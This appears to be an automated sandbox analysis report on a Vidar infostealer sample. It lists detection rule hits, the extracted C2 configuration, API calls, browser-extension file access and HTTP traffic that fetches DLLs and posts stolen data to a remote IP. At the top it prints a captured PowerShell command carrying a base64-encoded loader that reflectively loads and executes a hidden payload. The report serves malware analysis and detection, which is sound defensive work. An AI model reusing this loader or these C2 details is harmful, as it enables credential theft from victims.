Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8", CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encodin

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5304, TargetFilename: C:\Users\user\-temp.ps1

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Found malware configuration

Source: 00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199658817715"], "Botnet": "72f54d93118188013f2386eef7e5cc05", "Version": "8.6"}

Multi AV Scanner detection for submitted file

Source: yU3icg18lq.exe	ReversingLabs: Detection: 21%
Source: yU3icg18lq.exe	Virustotal: Detection: 23%			Perma Link

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040668C CryptUnprotectData,LocalAlloc,LocalFree,	13_2_0040668C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004085C0 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,PK11_FreeSlot,lstrcat,	13_2_004085C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00406629 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	13_2_00406629
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040FAC0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	13_2_0040FAC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD66C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	13_2_6CD66C80

Source: yU3icg18lq.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.47.27.74:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.46.229.36:443 -> 192.168.2.11:49708 version: TLS 1.2

Source: yU3icg18lq.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.13.dr, freebl3[1].dll.13.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.13.dr, freebl3[1].dll.13.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.13.dr, softokn3.dll.13.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.13.dr, vcruntime140[1].dll.13.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.13.dr, msvcp140[1].dll.13.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.13.dr, softokn3.dll.13.dr

Source: C:\Users\user\Desktop\yU3icg18lq.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040C094 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	13_2_0040C094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00401140 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	13_2_00401140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040A132 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	13_2_0040A132
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004143FD _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	13_2_004143FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040970D _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	13_2_0040970D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00414B02 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	13_2_00414B02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00413DF6 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	13_2_00413DF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0041479E _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	13_2_0041479E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00409B10 _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	13_2_00409B10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0041418A _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlen,

13_2_0041418A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199658817715

Source: global traffic

HTTP traffic detected: GET /profiles/76561199658817715 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 78.46.229.36 78.46.229.36

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCFBGDHJKFIEBFIECGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKEHCAKFBFHJKEHCFIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 7217Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlm.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBGHDBKEBGIDHJJEHCAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 453Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 98317Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 331Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.229.36

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_004051CC _EH_prolog,InternetOpenA,StrCmpCA,InternetOpenUrlA,CreateFileA,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,

13_2_004051CC

Source: global traffic	HTTP traffic detected: GET /profiles/76561199658817715 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlm.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
